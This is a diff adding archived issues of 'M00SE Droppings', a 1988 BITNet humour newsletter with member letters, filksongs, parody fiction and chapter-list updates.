+( President skippy? ) + +- - - - - - - - - - - - - - - - - - - - + +Reasons to have it in Buffal0: + + 1) Largest thr0ng in the world is in Buffal0 + 2) It's not in the east, not in the south, and not in Alaska. + 3) It's near canada + 4) I have a m00se(made by Gund) + 5) I said so! + 6) I'm too poor to travel south + 7) I'm too tired to find Connecticut + 8) I'm employed and can't leave my job to go Bl00p!(unreasonable of them, isn't + it?) + 9) It's near Niagara Falls +10) It's near my house(this is NOT an invitation to use my house!!!!!!) +11) It's near sibericuse +12) It's near Lake Erie and Lake Ontario +13) Most of you have never been to Buffal0 +14) If the buffal0 thr0ng fails to attend, 1/5 of all m00ses wouldn't make it. +15) It's cheaper than going to Alaska. + +That concludes my list of 15 reasons to have it here. +Well, I hope you all have a m00sey day.....Bl00p! + +aloha. + + Valerie. :) + whose name doesn't lend itself + to anything m00sey. + +- - - - - - - - - - - - - - - - - - - - + + I have a solution. How about all m00ses having their own parties, +inviting those chapters and thr0ngs in the area to a common place, and hold all +these thr0ng-a-thons at the same moment, maybe even sending out updates via +this very conference to all m00ses nationwide? That way, no one place has to +be picked. Sort of like a major national m00se convention day, eh? We just +have to pick a time and date, that way! + + hciR the inbl00pable... + +- - - - - - - - - - - - - - - - - - - - + +Like Thr0ng-a-th0n day idea. Maybe the day Bush is sworn in, to add to the +confusion...?? Seems to be the best compromise among the much divided m00ses. + + Din0m00se + +- - - - - - - - - - - - - - - - - - - - + + I like the idea of simultaneous M00se-a-th0ns in varying parts of the +country. Obviously a single location is going to be inaccessible to many, if +not most m00ses. In addition to the possibility of phone communications +between the gatherings, may I suggest that one m00se at each Thr0nging place be +appointed official PhotoM00se? The idea would be for everyone at each +Thr0ng-a-th0n to chip in to cover the costs of film and processing; then the +prints could be snail-mailed around to all the m00se chapters, preferably with +the photos labeled. + Another possibility for a Grand Thr0ng-a-th0n would be to hold it in +conjunction with the annual bizarreness known as NetCon(tm). No, I don't know +yet where next May's edition of NetCon(tm) will be held, but I suspect it will +be somewhere on the east coast. + + Niniane + +- - - - - - - - - - - - - - - - - - - - + +<< In response to the above.. >> + +Hey, that sounds like a great idea! One question, though... Would people +want colour photos or black & white? Some of the advantages of B&W are: + + 1) If any m00ses have the facilities, prints could be developed + cheaper than sending them away. (Many schools have darkrooms + which students can use.) + + 2) We could make the prints bigger, (say, 8x10,) and make duplicates + of only the ones we want to send out. + + - SalmonM00se + (Godfrey) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Well, there you have it. Personally, I support the many thr0ng-a-thons at + once idea, and I think the photos are an excellent idea. However, the cost + of 130 or so copies of as many sets of pictures as there are parties would be + prohibitive, so I suggest that only a large group shot of each thr0ng-a-thon + be distributed to all the m00ses. If anybody wants more pictures than that, + they can send money to the photographer. That way, each party can buy the + film, and each chapter can put in enough money for one large print from each + thr0ng-a-thon. + All that remains, then, unless there is strong objection to this idea, is + to arrange a time and date for the parties. Since we want them to happen at + the same time, of course, we must account for time zones. We shall continue + this discussion on CSBB.M00se. >> + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +<< A filksong by three employees of Steve Jackson Games; honorary m00ses all. + A song not about the M00se Illuminati in particular, but about all such + organizations. >> + + + ILLUMINATI + (to the tune of "Eleanor Rigby") + Steve Jackson, Joe Vail, Creede Lambard + + +Illuminati . . . +They put a thing made of tinfoil on top of my door . . . +What is it for? +Illuminati . . . +Shooting a ray at my cornflakes to make them turn green . . . +What does it mean? +The Illuminati . . . They're watching me, I know. +The Illuminati . . . They're everywhere I go. + +Illuminati . . . +Doing unspeakable things in the night to a cow . . . +Where are they now? +Illuminati . . . +Sent an impostor in place of the Popsicle man . . . +What is their plan? +The Illuminati . . . They're watching me, I know. +The Illuminati . . . They're everywhere I go. + +Illuminati . . . +They cancelled Star Trek, The Fonz, and My Mother, the Car . . . +Are they bizarre? +You can't escape them; +Even if you take a plane to Nepal or Peru . . . +They'll be there, too . . . +The Illuminati . . . They're watching me, I know. +The Illuminati . . . They're everywhere I go. + +I know that they know all about me . . . +They know that I know all about them . . . + +Illuminati . . . +Hide their assassins' instructions in newspaper text . . . +Who will be next? +They're all around us . . . +Underline every third word in the Times and you'll see . . . +How can it be? +The Illuminati . . . They're watching me, I know. +The Illuminati . . . They're everywhere I go. + +They're in the attic and the cellar . . . +Bigger than Hunt or Rockefeller . . . + +Illuminati . . . +Go through my garbage and count all the pop bottles there . . . +Why do they care? +They're out to get me . . . +They're fluoridating my water from their UFO . . . +What do they know? +The Illuminati . . . They're everywhere, I see. +The Illuminati . . . And no one knows but me. + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< A suggestion from GypsyLynx >> + + Why can't we have a M00se Day? I mean, really -- isn't it more than a +little ridiculous to have a day for Turkeys and not for the majestic m00se?? +Let's hear it for staring our own M00se day and turning it into a national +holiday? (and there will be much rejoicing) + +Bl00p!! +More later.... +GypsyLynx + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< From Mr. Sparebuttonssuppliedwithhisshirt, a new feature! >> + +It has come to my attention span (albeit short) that our fine newletter lacks +that which makes any and all newspapers worthwhile...a comic section. + +It is for this reason that I send this, my first ever comic approach on a +computer. + + + M00SET00NS + + |-----------------------------------------| + | | + | | + | O | + | '|' ________ | + | < \ / \____ | + | | | | + | --O--------O---| | + | |--XO | + | | + | | + ------------------------------------------| + +M00setakes # 1...how not to perform a hit-n-run... + + + Thank you... + + Mr. S. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Interesting stuff from Din0m00se >> + +Has anyone noticed there's an 'airheads' club on UMNews?? They exist solely to +make their club larger. THEY HAVE NO PURPOSE!! THEY DON'T EVEN HAVE A +PORPIOSE!! + +WE at least stand for something, and I for one plan to give them a piece of my +mind (and a little of Proust's spittle, perhaps)!! Let's start a mail wars, by +submitting like crazy to AIRHEADS DIGEST c/o CSNEWS@MAINE. Just put '/append +airheads' as the first words in your posting. + +I have inducted a few more m00ses lately, but forgot their names. Just want +you to know the Trinity thr0ng is growing... (and another reason to have one of +the parties here in CT...) + + Din0m00se + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< M00se Sightings Continue >> + + This reporter has just seen photographic evidence that there is an +unrecorded m00se chapter wandering the wilds of Newfoundland. What can we do +to bring this poor soul out of the wilderness into the bizarreness of m00sedom? + + Niniane + +- - - - - - - - - - - - - - - - - - - - + +Unconfirmed Scamp sighting!!!!.....Alacrity and GypsyLynx are still not sure if +their eyes were playing tricks on them, or if it was actually Scamp logged on +in the SU Aid center Tuesday night. The witnesses in question state that she +was buried in over 200 mail messages that had piled up in the 3 weeks that she +has not been logged on. + + GypsyLynx + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +ADD: + +Alaska thr0ng FSDEM2 @ ALASKA Mugwump + +Loyola thr0ng FRANK @ LOYVAX Spank + +Siberacuse thr0ng DPFLINT @ SUNRISE Sandman + +University of Missouri chapter C482529 @ UMCVMB Count_Zero + +- - - - - - - - - - - - - - - - - - - - +CHANGE: + +from: HABiT DB06103 @ UAFSYSB David Boddie +to: HABiT DB06103 @ UAFSYSB M00se Man + +from: KEVIN @ LOYVAX Kev +to: KEVIN @ LOYVAX Mr. Sparebuttonssuppliedwithhisshirt diff --git a/textfiles.com/magazines/M00SE/m00se20 b/textfiles.com/magazines/M00SE/m00se20 new file mode 100644 index 00000000..d0831d89 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se20 @@ -0,0 +1,431 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #20| Disclaimer: The Editor will place almost anything | Dec. 9, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame him for the quality or content of the submissions. +Excepting those he may have written himself, the enclosed items do not in any +way represent the Editor's opinions. In fact, let's be real safe, and say that +as far as this newsletter is concerned, he has no opinions at all. Okay? Good. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Greetings. Due to the hugeness of the issue, there will be no editorial. +Sorry it took so long. There are a couple items that will be held till +next issue, due to size. + This issue will be followed by a complete Chapter list. + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +<< Two letters, one of them in response to the multi-thr0ng-a-thon + Megathr0ng-a-thon idea. >> + +This idea can stick. I like it. Ok, where are all the mid/south m00ses, huh? +Or is this the only throng in the south/mid area? where are the folks from +IN, ILL, TX, AR, LO, KT, and other surrounding areas huh? Let me know, and +we can decide on a place for the M-T-a-T Middle-United-States-Housing +(that's MUSH). I would be willing to say, have it here in Fayetteville, but +a lot of m00ses might not be able to make it. Plus I am a poor M00se, and +dont own a house or anything like that here. Anyway, let's talk MUSH ppl. + +M00seMan + +- - - - - - - - - - - - - - - - - - - - + +Greetings earthm00ses. + +I have pondered the future m-t-a-t and have come up with 2 reasons to have +it in the Andromeda galaxy, convenience,proximity, and ease- 3! 3 reasons +to have it in the Andromeda galaxy: convenience, proximity, ease and +we all have spaceships- 4! 4 reasons to have it in the Andromeda galaxy, +(specifically the twenty-third planet from the star, specifically in the little +village of Myrsxxxphildweeeeblebl00p...nice little town with a few alien +m00ses whose antlers are fourty feet long...oh dear, I seem to have strayed +from the main subject...) 4 reasons to have it in the Andromeda galaxy: +convenience, proximity, ease, we all have spaceships and it's nice-oh +damn... + +Well, you get my point. + +A very confused and whacked out Mr. S. + +- - - - - - - - - - - - - - - - - - - - + + I do hereby propose the last weekend in January for the MTAT. Any +support or objections? + + Pickle. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< From Mitsya, the Red M00se. >> + + Over thanxgiving vacation, a m00se was killed in the town of Wiscasset, +ME. It was apparently a hit and run accident, and there was an immediate +funeral and burial, so the identity of this particular m00se remains in +question. If there is a m00se whom you know, and was anywhere *near* the +Wiscasset area, and is now missing, please contact me (ip85033) This cannot be +tolerated. Spaceebaw bolshoi. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +<< Here we have a not-original filksong of sorts, which I found on a listserv + the day after the election. I'm including it because I want to. >> + +Yesterday +George Bush seemed so far away +Now it looks as though he's here to stay +Oh, I believe in yesterday + +Suddenly +There's not half the choice there used to be +There's a shadow hanging over me +Oh, yesterday came suddenly + +Why +He +Had to run +I don't know +He wouldn't say +He's +Got +Most things wrong +Now I long +For yesterday + +Yesterday +War was just an easy game to play +Help me find a place to hide away +Oh, I believe in yesterday + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Two of our most productive contributors this issue are Goblin_m00se and + Salmon M00se. This might, perhaps, fit better under EVENTS, but due to + the way it was written, I figured "what the hell?" >> + + ADVENTURES IN THE 11TH CENTURY + or + WHEN GUMBY WENT TO WAR + (From the Files of M00selock Holmes) + + It was a dark and stormy night... raining cats and dogs, London-style. The +night of 21 October, 1988, to be exact. I followed a m00se's vehicle through +the sheets of rain, to a large brown-and-white house somewhere in Connecticut. +With a great roar, the yellow Toyota came to a stop. + Its owner, grabbing a tape out of the glove compartment, cursed as he +stepped into a large puddle. He ran up to the front door, peered in the side +window. Seeing no lights, he vaulted back down the front stairs and ran around +to the side of the house. There was a light on in the cellar, and several +above ground level. He must have realized his actions looked suspicious, +because he ran back to the front porch and rang the doorbell. + Generally, when people ring doorbells at 11:30 PM, a house's owner answers +the door with a shotgun. Not this time, though. The m00se was let into the +house. I crept up to the newly-lighted window and tried to peer beneath the +window shade, in the 2-millimetre gap between it and the window frame. Wats0n +sneezed, and I shoved my pipe up his nose, to prevent further noises. I turned +back to my vigil. + Inside were four m00ses: Fuzzy, Snarf, SalmonM00se, and Goblin_m00se. +Attaching my suction-cup stethoscope to the window-glass, I sat back on +Wats0n's hunched-over form and listened. + The tape played; at first I thought it was a Beach Boys' song, but its +lyrics had something to do with a Soviet sub grounded in Malibu. Odd, these +four were. They talked quite a bit, their conversation centering on mead, +Scotch-guard, and Lazer Tag. Eventually, around 3:30 AM, they went to sleep. +Some of the more interesting snatches of conversation involved removing +Goblin_m00se's clothes and taking pictures while she slept... + + <->-<->-<->-<->-<-> + + It was a dark and stormy morning. Two people left; SalmonM00se, as I +could identify him now, and the female non-m00se after him. The rain +continued, pouring like dead cats. (I have nothing against cats, mind you, as +long as they're stuffed.) I kicked Wats0n's sleeping form and told him to +climb up to the third-floor window and see what was going on. He fell off the +side of the house, and I left him stuck head-first in the mud. I had more +important things to do. I climbed to the bedroom window. + Goblin_m00se was curled up in bed, pillows everywhere. One m00se, Fuzzy, +stuck his head in, wondering if she was going to sleep forever. Goblin_m00se +finally staggered out of bed, looking like the living dead, then began dressing +in tenth-century clothes. I cursed Wats0n for not buying more film. + Eventually, with two others, they climbed into a Mercury Marquis and sped +off. I tossed Wats0n into my orange Isuzu and pulled out after them. Finally +catching up to them on the motorway, I was hard-pressed to keep up with them. +Their velocity was increasing rapidly, as was mine. I saw, from the corner of +my eye, a hidden police car. As we passed, the radar, which was pointed lazily +out the window, exploded. I had no time to contemplate this happenstance, as +we went to PLAID. + During the ride through hyperspace, Goblin_m00se's automobile +metamorphosed into a maroon dragon. My own vehicle, I am sad to note, could +muster no more than a brightly-coloured iguana. It sufficed, however. We were +at our destination. + We were in a large, rutted field. The dragon was becoming mired in the +soggy ground, and several people ran towards it. "Oh dear," I thought, +"They're going to kill Goblin_m00se." I hopped off of my iguana and hid. After +a second thought, I grabbed Wats0n down from the iguana and pulled him to my +hiding place. + The people were more benevolent than I thought; they merely helped the +dragon to an empty space. Its four riders piled off and walked to a table +marked TROLL BOOTH. There were four: Goblin_m00se, Fuzzy, and two others, one +of them a monk. The monk looked faintly m00sey, but I couldn't tell from that +distance. They paid some gold to the troll, and walked past. + Not much happened for a while, except that they met up with SalmonM00se +and a female M00se whose name I didn't know. I'll have to refer to her +anonym00sely. + The entire field was full of mediaeval people. I checked my watch; it +read "SOMEWHERE BETWEEN AD 600 AND AD 1650". Well, that's Japanese technology +for you. + The m00ses eventually entered a large barn, with the rest of the +middle-aged people. (Well, most of them were fairly young.) I watched as His +Immensity, the Baron Beyond the Mountain, held court. Immediately following, +the King of the East held court. My head fairly split from the volume of the +"VIVAT! VIVAT! VIVAT!" cries that followed every award. + After that, there was a four-hour Bardic circle, where a couple of the +m00ses sang songs, or told tales. Eventually they wandered off somewhere to +sleep. + The next day, only a few items of interest happened: + + 1) Fuzzy and SalmonM00se fenced for a while. + 2) SalmonM00se almost shot the King and Queen (Bow & arrow) + 3) Goblin_m00se and SalmonM00se took instruction from a knight + named Sir Andrea. They practiced until well after dark. + (Goblin_m00se looks extremely sexy when she swings a sword.) + + After that, they went back to the modern world, stopping at a supermarket +without changing their clothes. This elicited many stares. None of them cared. + + As I left the house, Wats0n chanced upon a small bag of herbs that I had +bought while in the Middle Ages. He looked into it, and said, "Holmes, +whatever could you be doing with this? + I replied, "Elementary, my dear Wats0n... I'm biding my thyme!" + + - copied from M00selock's files by + SalmonM00se & Vegi-M00se + + +Postscriptum: A very m00sey thing to do is to watch Black Adder on Public + Television. (Especially Blackadder II.) Watch for the + episode with the turnip thingy. COMING SOON: Goblin_m00se + and Salmon-M00se are thinking of transcribing the scripts + of Blackadder II... Requests may be sent to the following + accounts: + + LEE_JES@CTSTATEU (BITNet) + WITHALL@CTSTATEU (BITNet) + + Users from off-BITNet domains (such as EDU) may send to: + + LEE_JES%CTSTATEU.BITNET@CUNYVM.CUNY.EDU + WITHALL%CTSTATEU.BITNET@CUNYVM.CUNY.EDU + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Here we have a story typed in and contributed (though not written) by + Valerie. :) whose name doesn't lend itself to anything m00sey. >> + + GOING THE M00SE WAY HOME + + by Jim Lattimer + + (Excerpts selected by myself.) + + + "M00se is tall, a hill on hoofs and thin stork legs. He has bony +shoulders, long ears, soft eyes, a mobile muzzle, and a beard." + + (Gee....I never knew we looked like that...and I + suppose I ought to do something about my beard then....) + + "On his way home, m00se sometimes stands beside the county road to watch +for license plates, though he does not know how to read. Once he saw Iowa, +Wisconsin, and Rhode Island; He sees a lot of Minnesotas, because he lives in +Minnesota and sometimes M00sechusetts (his spelling!!!!)" + + (Gee....I never knew we were illiterate...yet could read + those license plates!!) + + + THE M00SE AND THE TROLL + + "M00se said simply, "I'm a m00se." + A m00se, thought the troll. Like a *Buffalo*, he thought, feeling +suddenly hungry. The troll came out to look, and there was m00se, a hill on +quiet hoofs, seven feet tall and eleven hundred pounds. + The troll hesitated. He fidgeted, muttering to himself. 'I do not feel +hungry for a m00se,' he said at last." + + + CHRISTMAS AND THE COWS + + or is it + M00semas and the cows + or + ChristM00se and the cows + ??????????? + + "On Christmas morning m00se passed a snowy field along the county road. He +didn't quite pass. Twelve black and white cows with steaming breath and sad +eyes huddled together close to the fence. The cows stared at m00se, their +breath frosting the fur on their foreheads. M00se stared back at them. One of +the cows flapped its ears. Then another cow flapped its ears. M00se flapped his +ears experimentally, searching for the cows' meaning. + 'Hello,' he called to them, but the cows didn't answer. They stood, +steaming and staring, ears flapping, looking very sad. + 'Merry Christmas,' M00se called. The cows did not wish M00se a Merry +Christmas. + 'Happy Chanukah' he said, though Chanukah was almost two weeks past. The +cows did not answer him." + + (Poor,poor m00se.) + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +<< Here is that other, rather brilliant contribution by Salmon M00se and + Goblin_m00se. >> + +Transcriber's Note: All of our comments will be enclosed in [brackets]. + + Recently published in a nameless newspaper of ill repute was the following +Article: [TrashyFacts: More people read the National Enquirer than any other +publication!] + + UNDERWATER BL00PING FULLY EXPOSED! + [Fully exposed? That sounds rather RUDE, doesn't it?] + + The information contained in this article was found in the safe of the +late Doctor Frood, of the Link0ping Institute in Sweden, after his death. +Doctor Frood was found dead in a locked bathroom, in a tub filled with +chocolate m0usse. Nearby was found a calling-card bearing an odd pyramid, with +the initials S.M.S. printed underneath. Also found in the vicinity were 5,000 +crushed kiwifruits. Authorities are baffled, but Inspector LeStr00de of +Scotland Yard insists that the culprits are a terrorist tourist troop from +Taiwan. [If they only knew! Heh heh heh] + + + THE PRACTICE OF UNDERWATER BL00PING + By Dr. Vroomfondel Frood + + What is Underwater Bl00ping? The Art of Underwater Bl00ping was +discovered in the quaint little village of Farmington, Connecticut, in the +United States of America. This practice, shunned by most Americans, is a +secret rite practiced by an underground organization, of which this researcher +has found extremely little information. + + In point of fact, the practice is not only shunned by most individuals, it +is relatively UNKNOWN - a fact which points to the conclusion that this secret +society is a mind-bogglingly large organization filled with the most devious +individuals, all bred to superhuman abilities. + + It is these abilities which make underwater bl00ping possible - but these +powers are not visible to the normal eye. Never have I encountered any sort of +signal whereby the members of this society may make themselves known to each +other - but nevertheless, apparently THEY can tell the difference between a +normal human being and one of their own terrible kind. + + In my researches at the Miskatonic University, located in Massachusetts, I +found amongst the fragmentary Pnakotic Manuscripts a reference to this +practice, mentioned in conjunction with, of all animals, the moose. The passage +reads as follows: + + ORIGINAL PNAKOTIC TEXT TRANSLATION + + Ichi ya fernandop00, Of the great god Fernando Poo, + Zum bagel lox The skalds of old wisely refrain + et kreemcheese t00. to sing. + Khargle alkazeltsur ickkity-ack, For if they do, their stomachs + Pleah, mitzvah barbell distend and they do fart + destroyeth plaque. violently unto their deaths. + Yippi-kiy-yiy-burgerking Nevertheless, there (are) those + Barbi-queued twinkies whose whispers He will suffer, + hys praysez sing. those of the dark Underground. + Yoo luk mahvelous, In their secret rites, that + zi lectroids bl00p, Bl00ping which they do, + Io Grand M00se P00bah The Grand P00bah M00se presides + Leviam00se goeth plaid. and they all went home for tea. + + As the reader can plainly see, this passage hints at even darker +possibilities, more terrible than even the original translator of the Pnakotic +Manusctipts, L. Howard Phillips, had guessed. + + For the signs of these rites can still be seen today! This Bl00ping is +carried out even as I write! Around the nation, and perhaps even the world, +people congregate and perform these dark rituals! And what of the moose? Where +do they fit in? And yet, the common person on the street knows naught of this +matter. This researcher walked up to 97 people and pronounced the secret word +"Bl00p". Ninety-six people showed no useful reaction. The ninety-seventh, a +policeman, arrested the researcher. Perhaps even the police have been +infiltrated? It cannot be said at this time. + + The President of the United States of America, when asked if he had any +knowledge of this matter, replied: "Well... as President of this great nation, +I can assure you that lima beans and Twinkies continue to be this country's +greatest resource. If it were not for our country, our nation would not be +where it is today." + + Although these Bl00pers are clever, there are some methods of detecting +their actions. The following paragraphs record actual eyewitness accounts of +chance discoveries of the rituals: + + LANSING, NEW YORK: It was horrible! I was standing in the + supermarket check-out line, buying food to bring back to my + camper, when two women bl00ped at me! I declare! It frightened + me so much that I dropped my eggs right on little Bobbi-Jo! + + SOMEWHERE, MASSACHUSETTS: Verily, I tell thee, 'twas not more + than twelve feet away from me! I could not believe mine own ears! + An entire throng of people shouted, "BL00P"! Sixteen tents then + collapsed! + + GNOME, ALASKA: I was walking along, worried about my new lipo- + suctioned nose, wondering if I looked as dashing as Sean Penn, + like the doctor said I did, when a whole lodge of them, dressed as + tourists, Bl00ped! The ice cracked, and I fell into the water. + My nose got so cold that it swelled back up to its original size! + I was crushed! Hey, are you herring what I say? + + Further documents reveal that Underwater Blooping are generally held in +reservoirs. It is with this practice that the members of this secret society +find their greatest... + + (We are sorry to announce that this work was not completed due to the +untimely death of its author. Dr. Vroomfondel Frood was found in his bathtub, +pummeled to death by 5,000 kiwifruits. The Swedish Coroner's office has marked +his death as "Due to Natural Causes".) + + - Transcribed by + SalmonM00se & Goblin_m00se + +-------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE ***************************** +-------------------------------------------------------------------------------- + +<< From Salmon M00se. >> + +Q. How many M00ses does it take to change a light bulb? +A. None. They'd prefer to keep people in the dark. + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +Will follow the issue. diff --git a/textfiles.com/magazines/M00SE/m00se21 b/textfiles.com/magazines/M00SE/m00se21 new file mode 100644 index 00000000..032a32df --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se21 @@ -0,0 +1,864 @@ +PLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNW + + + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #21| Disclaimer: The Editors will place almost anything | Feb. 9, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +***************************** TABLE OF CONTENTS ******************************** +-------------------------------------------------------------------------------- + + + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + +Salutations & bl00p one and all! + + Well, as it's our first issue (Yowzah!) and we is not known by all +soooo... a simple introduction would be in order. Hmmm, how does this +"intro" stuff work... Oh yeah! + +-Goblin/(hobgoblin) + (aka Lisa Withall) + (scaka Morgana of York) + +-SalmonM00se + (aka Jeff lee) + (scaka Godfrey de Shipbrook) + + We are pleased to take over while his August Antlership, Pickle, is on +Sabbatical... + + And now, a little about ourselves, to those of you who don't yet know +us... + +Goblin: I am an ongoing student of the great belief that somewhere lives +the home of a great tribe of beings responsible for all the homework +assignments that were never handed in. The reason for life? Well that Lima +Beans may be purged from the Universe. Political views? Well Bill the Cat is +the only candidate for any office. Religion? I worship Hostess Twinkies. +Life form? Half human, half Goblin... Status? Alive I think... + +SalmonM00se: hmmmm... Well, if you all don't know me from the annoying +messages I keep sending... Anyway. Mundane life is pretty boring, having +just changed majors from Music Ed to Computer Science. Most of my free +time is taken up by the SCA. (Goblin is berating me for being serious, +so now for something *completely* different.) Favourite Saying: "Do not +meddle in the affairs of cats, for they are subtle and will piss on your +computer." Political views: As long as the elections in the USA are run +as mudslinging popularity contests, I hold truck with no party. Oops, +I guess that's serious. So: Religious Views: See the Hitchhiker's Guide +to the Galaxy, under the entry "Theories, Universe, Creation of". +Life Form: yes. Sex: yes. Hair: yes. Eyes: two. Creation Date: 11/4/66 + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +According to our sources, *nothing* officially happened recently. (Apart from +the change in M00se Droppings editorship, which you know about anyway.) + +- - - - - - - - - - - - - - - - - - - - + +The earth has rotated approximately once in the last twenty-four hours. + +- - - - - - - - - - - - - - - - - - - - + +From Alacrity... + +Newsflash: m00se reports sighting of rare and elusive Scamp + + Good evening ladies and gentleman, Tom M00seaw here for NBC nightly +news. Rumor has it that a m00se by the name of CHAOS Engineer saw, much +to his shock and surprise, the a rare and elusive Scamp logged on to the +node Sunrise. It is reputed that Scamp was reading her mail. These rumors +have not yet been corroborated, but momentarily we expect to hear from our +roving correspondent Roger M00se, who is with Mr. Engineer. Roger- + + Thanks Tom. I'm here on the Siberacuse University Campus with a +Mr. CHAOS Engineer, who claims to have seen Scamp logged on. Mr. Engineer, +would you care to comment on this claim? + + Duh, sure. I, uh, think it was her, but I uh, don't really know. +It's been so long ya know. Could'ah been RATANTS mebbe, but I think it +was RETANTS, but like I say, can't be sure... + + Well, there you have it Tom. + +- - - - - - - - - - - - - - - - - - - - + +According to our sources, the Mega-Thr0ng-A-Thon will occur at the next +planetary conjunction. M00ses wishing otherwise should elect a MTaT +co-ordinator in their area. The co-ordinators will then be able to discuss +the MTaT with each other. Other suggestions are welcome as well. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +And now, the long-awaited Part IV to SuperM00se! (If you want the other +parts, or in fact any earlier issue of M00se Droppings, send a message to +me at LEE_JES@CTSTATEU.) + + ***-> The Adventures of Super-M00se <-*** + --- ---------- -- ----- ----- + + Greetings Superm00se fans. Please note that following is episode +four of the adventures of Superm00se. I apologize for the long interval +between this installment and the last, but my life as a student (GAH!!) did +not allow me time to be creative (Engineering dulls the brain) and as such +I am limited by my infrequent spurts of particular mental insanity which allow +me to produce such material. I hope that there will be more episodes on a +regular basis, but I cannot guarantee them. Enjoy.... + + + CHAOS Engineer aka + Expletive Deleted, + the Left hand man of a monarch of no great import + + + Forward- All that follows is pure fiction and fallacy, with most rip-offs + being done on purpose. All puns on purpose and all violations + acknowledged. Any resultant health problems due to reading + these episodes are not the responsibility of the author. + + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + A gentle breeze wafted through the trees, carrying the fresh pine +scent with it. The foot steps of the lone figure were punctuated only by the +quiet crunching of the carpet dead needles. Cresting the hill, the forest +ended and gave way to a small clearing over looking a valley. The rush +of a spring river could be heard below. + "Ahhh...." sighed Mark to himself as he sat down. "So good to +get home for a week and enjoy the mountains." Mark unslung a large back +pack he was wea- + + + We interrupt this Idyllic Interlude to bring you an + important news flash. Earlier today the Velveeta + Vermin perpetrated the robbery of the First + National Bank of Gothopolis, and made good his + escape with five million dollars. The Vermin was + assisted by his gang, the Processed Cheese Food + Irregulars. If you sight these villains, you are + advised to call the police at once then hide any + and all crackers you have in your house for their + own protection. We now return you to your + previously scheduled piece of peace. Thank You. + + + Mark stood up bolt straight, and stared out at the sun, unfocusing +his eyes until he saw a bespectacled, blonde-haired man in desperate need +of a shave hunkered over a VT240 terminal. + "Hey, you can't do this! You promised me a vacation!" + The blonde-haired man smiles, and types "I lied." + "You still can't do this. I'll call the sysadmins and get them +to lock your account. What'll you do then, smart guy?" + The blonde-haired man smiles even wider. "You'll do no such thing. +I'll take away your disk space. What'll YOU do then, smart guy?" + "Ok, ok... A working vacation, all right? But you gotta promise, +I'm back here at the end of this adventure." + The head nods, and unseen by Mark, has his left hand under the table +with the fingers crossed. + + 